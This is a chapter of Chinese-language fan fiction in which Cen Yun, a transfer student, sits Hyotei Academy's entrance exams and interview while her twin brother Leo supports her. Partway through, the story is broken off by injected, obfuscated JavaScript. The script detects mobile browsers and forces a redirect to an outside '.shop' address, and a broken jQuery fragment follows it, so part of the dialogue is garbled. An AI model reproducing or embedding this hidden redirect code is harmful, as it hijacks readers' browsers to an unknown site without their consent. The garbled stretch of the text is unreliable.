四月十七日早上，岑韵比闹钟提前十分钟醒了。
窗帘没有完全拉紧，外面的天已经亮了。她躺在床上看了一会儿天花板，才想起来今天是冰帝的入学测试。
床头放着前一晚准备好的文件袋，里面有护照复印件、成绩单、转学材料和学校寄来的考试通知。最上面那张纸的右上角印着冰帝学园的校徽，考试日期被她用笔圈了两遍。
她洗漱完下楼时，Leo已经坐在餐桌旁吃早餐了。
他穿着冰帝的校服，旁边放着书包。岑韵看了一眼他的领带，又低头看了看自己身上的白衬衫和深色长裙。
“我是不是穿得太正式了？”
Leo抬头看她。“还好。”
“真的？”
“至少不像去参加宴会。”Leo笑了，把身边的一把椅子拉开让岑韵坐下。
“你能不能说点有用的？”岑韵轻轻翻了个白眼。
Leo喝了一口牛奶。
“数学和英语不用担心。我们俩里面只有你遗传了爸爸作为数学教授的聪明才智。科学只要你看得懂题目，也不会有问题。”
“国语呢？”
“看运气。”Leo假装思考。
“历史呢？”
“看更大的运气。”
岑韵拿起面包，朝他做了一个要扔过去的动作。
妈妈已经吃完早餐，确认了好几遍她需要带的材料。
“学校允许你在部分考试中使用纸质字典。”妈妈说，“不过只在监考老师确认之后使用，不能自己带电子设备。”
“我知道。”
“面试时不需要说得太快。听不懂问题，可以请老师重复。”
“我知道啦。”
妈妈把文件袋递给她。“还有——”
“妈妈。”岑韵接过文件袋，无奈地笑了，“我只是去参加入学考试。”
“好。我不说了。”妈妈轻轻拥抱了岑韵。
她今天上午有工作，不能陪岑韵进学校。司机先送他们到冰帝，之后再送母亲去大使馆。车停在校门外时，已经有不少学生进校。Leo下车后看了一眼时间。
“我先带你去接待室。”
“你不用上课吗？”
“还来得及。”
两个人穿过校门。岑韵几天前已经来过一次，但正式来参加考试，感觉还是不一样。
走到行政楼前，Leo停了下来。
“考试结束以后给我发消息。”
“你下午不是有训练？”
“训练结束前我都在学校。”
“知道了。”
Leo看了她两秒，又补充道：“别太紧张。”
岑韵挑眉。“你不是说国语要看运气吗？”
“运气也需要正常发挥。”
他说完转身往教学楼走。
岑韵站在原地，看着他的背影消失在走廊尽头，才推开接待室的门。
负责接待她的是一位姓山下的女老师。对方先核对了她的身份材料，又用日语说明考试安排。
岑韵听懂了大部分内容，在涉及字典使用规则时没有完全听明白，只好请她再说一次。
山下老师放慢语速。
“国语和日本历史考试中，如果遇到不认识的词，可以使用学校提供的日英字典。”
她随后改用英语补充：
“但字典只能帮助你理解词义。考试仍然会按照你的日语阅读和书写能力评分。”
“其他科目，你可以选择使用英语作答。”
考场是一间空教室。除了她之外，里面没有其他学生。桌上放着考试用纸、答题纸和一册厚重的日英字典。
第一门是国语。
试卷发下来以后，岑韵先从头翻了一遍。
她认得大部分汉字，但知道意思不等于知道日语中的读音，也不等于能够理解整句话。试卷前面的语法题还算简单，到了阅读部分，问题很快暴露出来。
文章写的是一个男孩回到祖母居住的乡下，在旧仓库里发现童年玩具。情节本身并不复杂，但其中有不少岑韵不熟悉的表达。
她查了两个词，又查了第三个。翻到第四次时，她停下动作，看了一眼墙上的时钟。
如果每个不确定的词都查，她根本来不及写完。岑韵把字典合上，决定先根据上下文猜。
文章最后一道题问主人公为什么没有把旧玩具带走。
她大致明白那一段的意思，却不知道应该如何用自然的日语组织答案。她在草稿纸上写了一遍，发现句子里混进了中文写法，只好划掉重写。
写到最后，答案依旧算不上漂亮。
至少意思应该是对的。
作文题要求描述一次“离开熟悉环境的经历”。
岑韵看着题目，沉默了几秒。
她可以写上海，也可以写伦敦，还可以写几天前刚刚抵达的东京。
最后她写的是离开上海去伦敦。
她父母离婚以后，她和Leo分别跟随父亲与母亲生活。她的父亲在上海的大学任教，母亲是英国外交官。父母分开后，她大部分时间和父亲生活在上海，Leo则跟着母亲去了伦敦。
去年，母亲被调到东京任英国驻日本大使馆参赞，Leo也随她来到日本。岑韵原本计划留在英国，跟外公外婆生活并完成初中课程，但她在伦敦住了不到一年，最终还是决定来东京。
第二门是日本历史。
这一次，问题不是句子看不懂，而是她对考试内容确实不熟。
她知道第二次世界大战，知道明治维新，也知道一些中日历史之间的联系。但试卷上出现的年号、幕府制度和具体人物关系，对她来说完全是另一套知识体系。
其中一道题要求排列几件历史事件的先后顺序。
岑韵盯着四个选项看了很久，只能确定其中两个。
她尝试从人物和制度名称判断时代，又在旁边写下自己记得的大致年份，然后。随便挑了一个似乎更合理的顺序。这大概就是Leo所说的看运气。
相比之下，之后的考试顺利得近乎轻松。
数学试卷允许她使用英语作答。岑韵看完第一道题后，紧绷了一上午的肩膀终于放松下来。
题目本身不难，至少比她在上海和伦敦学过的内容简单。
她提前半个小时完成了试卷，又从头检查了一遍。
监考老师经过她身边时，看了一眼她写满计算过程的答题纸。
“已经完成了吗？”
岑韵用日语回答：“完成了。”
老师似乎有些意外，但没有多问。
英语考试更加直接，这是出生在多语言家庭孩子的优势。岑韵读完题目，几乎没有停顿就开始写。
英语试卷完成后，她甚至剩下足够的时间重新检查拼写和标点。
综合科学的题目涉及基础物理、化学和生物。她同样选择了英语答题，只有两道题因为原题里的日语术语查了字典。
最后一门笔试结束时，已经过了中午。
学校为她准备了简单的午餐。岑韵坐在接待室里，一边吃三明治，一边给Leo发消息。“笔试结束了。”
Leo很快回复。“国语怎么样？”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750653|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“你很关心我考得不好吗？”
“这是最值得关心的部分。”
“作文写完了。历史有几道题不确定。”
“数学呢？”
“我没做过这么简单的题。”岑韵一直为自己的数学水平骄傲。
Leo隔了几秒才回复：“别当着老师的面这样说。”
岑韵忍不住笑了一下。
下午是面试。参加面试的有国中部教务主任、二年级年级负责人和一位负责国际课程的老师。山下老师也坐在旁边，必要时可以提供语言帮助。
最开始的问题很普通。“为什么希望进入冰帝学园？”
岑韵用日语回答：“因为学校允许海外转学生按照原来的学习进度继续课程，也有很多国际课程。”
她停了一下，又说：
“我弟弟也在这里。”
年级负责人低头看了一眼材料。
“Leo Campbell？”
“是的。”
“你们是双胞胎？”
“龙凤胎。”
面试老师点了点头。
“但你们此前没有在同一个国家生活？”
这个问题比前面复杂。岑韵在脑中组织了一下句子，最后改用英语回答。“我们出生在上海。父母离婚以后，我主要跟父亲生活，Leo跟母亲生活。我们会在假期见面，但没有长期在同一所学校读书。”
“你父亲现在仍在上海？”
“是的。他在大学教书。”
“那么你为什么没有继续留在上海？”
岑韵沉默了一下。这个问题，母亲问过，父亲也问过。她在上海生活的时间最长，语言、学校和朋友都在那里。后来去伦敦，是因为原本计划接受英国教育，也因为外公外婆能够照顾她。但母亲调到东京以后，她发现自己并不想继续隔着几个国家了解母亲和Leo的生活。
“我想和母亲、弟弟一起生活一段时间。”她说。
教务主任问：“这是你母亲的决定吗？”
“她提出过建议，但最后是我自己决定的。”
“你的父亲同意？”
“同意。他认为我可以试一试。如果不适合，也可以重新选择。”
说完以后，岑韵才意识到，自己使用了“重新选择”这个说法。过去一年里，她已经换过一次国家。现在又来到东京。在旁人听来，这大概不像一条稳定的教育路径。
负责国际课程的老师继续问：“你在伦敦的课程还没有结束。现在转入日本学校，可能需要付出更多时间适应。你考虑过这一点吗？”
“考虑过。”
“国语和日本历史会成为明显的困难。”
“我知道。”
“你似乎并不担心。”
岑韵想了想。“我担心。但担心不代表不能学。”
教务主任抬起头看了她一眼。
面试后半段，他们又问了她在上海和伦敦的学习情况，以及音乐和游泳经历。
岑韵告诉他们，自己从小学习钢琴，钢琴在洲际的钢琴比赛中拿过少年组第一名，她也学习大提琴，在上海参加过青少年乐团。她长期进行游泳训练，主要项目是自由泳和混合泳，在俱乐部一直都是前几名。
“如果入学，你希望加入两个社团吗？”年级负责人问。
“目前是这样打算的。”
面试结束时，教务主任合上材料。“考试结果需要综合评估。学校会尽快通知你的家长。”
“谢谢。”岑韵站起来，按照之前练习过的方式行礼。走出面试室以后，她才长长地呼出一口气。